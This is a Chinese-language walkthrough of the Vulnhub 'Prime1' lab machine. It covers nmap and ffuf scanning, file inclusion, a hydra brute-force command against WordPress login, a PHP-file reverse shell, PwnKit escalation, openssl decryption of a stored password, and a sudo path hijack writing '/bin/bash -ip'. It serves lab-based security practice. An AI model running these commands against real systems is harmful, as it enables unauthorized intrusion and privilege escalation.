Vulnhub Prime1
0x01:端口扫描
主机发现
nmap -sn 192.168.231.0/24

全端口扫描

UDP扫描没有结果
详细端口扫描

漏洞扫描

看来是一个wordpress的cms
0x02:web渗透
扫目录


先看secret.txt

需要我们多做一些模糊测试
我们看到其他目录

那我们现在开始做模糊测试
ffuf -u http://10.10.10.148/index.php?FUZZ=something -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

我们进一步筛选
ffuf -u http://10.10.10.148/index.php?FUZZ=something -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -fs 136

得到file

我们把之前看到的location.txt填进去

他让我们去其他的php页面上尝试这个参数secrettier360
之前我们扫目录扫到了image.php,我们试试

额,那这个应该是一个凭证了

结果不正确。。。尝试了爆破也没有爆出来,但是他为什么说这是正确的参数呢?
我们继续尝试那个参数在image里,尝试sql注入或者文件包含什么的

不是sql注入

是文件包含无误了,提示我们去拿password.txt

得到凭证密码follow_the_ippsec
但是还是无法登录,我们缺少了用户名,尝试hydra爆破了

hydra -L /usr/share/wordlists/rockyou.txt -p follow_the_ippsec 192.168.231.145 http-post-form "/wordpress/wp-login.php:log=^USER^&pwd=^PASS^&rememberme=forever&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.231.145%2Fwordpress%2Fwp-admin%2F&testcookie=1:ERROR"
没有爆出来,换一种方法
因为他用的是wordpress,我们可以使用wpscan去探测用户名
wpscan --url http://192.168.231.145/wordpress -e u

用户名是victor,这么简单的用户名为什么hydra会没有报出来呢,这个放在思考里
我们登录victor@follow_the_ippsec

版本为5.2.2

有XSS漏洞,暂且放一边
看到传文件,试试

找到了个可写文件,还是php的


反弹shell

0x03:权限提升
提升tty
python -c 'import pty; pty.spawn("/bin/bash");'
export TERM=xterm-256color
查自动任务

由于没有vim,我们用echo或者nano去写

权限不够
查看S位

又有polkit和pkexec,还是用pwnkit的脚本
经过尝试,c版和python版都可以


0x04:思考总结
1.其实刚刚可以不用hydra或者wpscan去扫描用户名的,因为在之前就已经给出来了

2.为什么hydra会爆破不出这么简单的用户名呢
可能是错误的识别方式有问题,我们爆破web页面的话还是用yakit

3.还可以另外一种内核提权

4.横向提权
这台机子非常的抽象,我们是反弹shell进来的,居然sudo -l会有nopasswd

在linpeas看到隐藏在/opt的文件,拿到enc密码backup_password


sudo执行要输入完整路径,执行完后会生成两个文件
sudo /home/saket/enc


enc.txt里的是一串密文

推测为base64+AES
key.txt让我们去md5加密ippsec,注意如果要使用echo要加上-n
-n:去除换行


因为是二进制数据,所以我们还要tohex

3336366137346362336339353964653137643631646233303539316333396431
openssl enc -a -d -in enc.txt -K '3336366137346362336339353964653137643631646233303539316333396431' -aes-256-ecb 2>/dev/null
openssl enc:使用 OpenSSL 的enc命令来执行加解密操作。
-a:指示输入数据是 Base64 编码的。
-d:表示进行解密操作。
-in enc.txt:指定输入文件enc.txt,这是加密数据所在的文件。
-K '3336366137346362336339353964653137643631646233303539316333396431':指定解密密钥,以十六进制形式提供。这里的密钥是一个 64 位的十六进制字符串,对应的是 256 位的 AES 密钥(32 字节)。
-aes-256-ecb:指定使用 AES-256 算法,模式是 ECB(Electronic Codebook),即电子密码本模式。
2>/dev/null:将错误输出重定向到/dev/null,避免显示错误信息。

告诉我们是saket的passwd,我们横向移动

看一下这个是什么用处

没有这个文件,我们劫持
echo "/bin/bash -ip" >> /tmp/challenge && chmod +x /tmp/challenge
-i:表示启动一个交互式的 shell。
-p:以 privileged(特权模式)启动 shell,通常会绕过一些安全限制。


浙公网安备 33010602011771号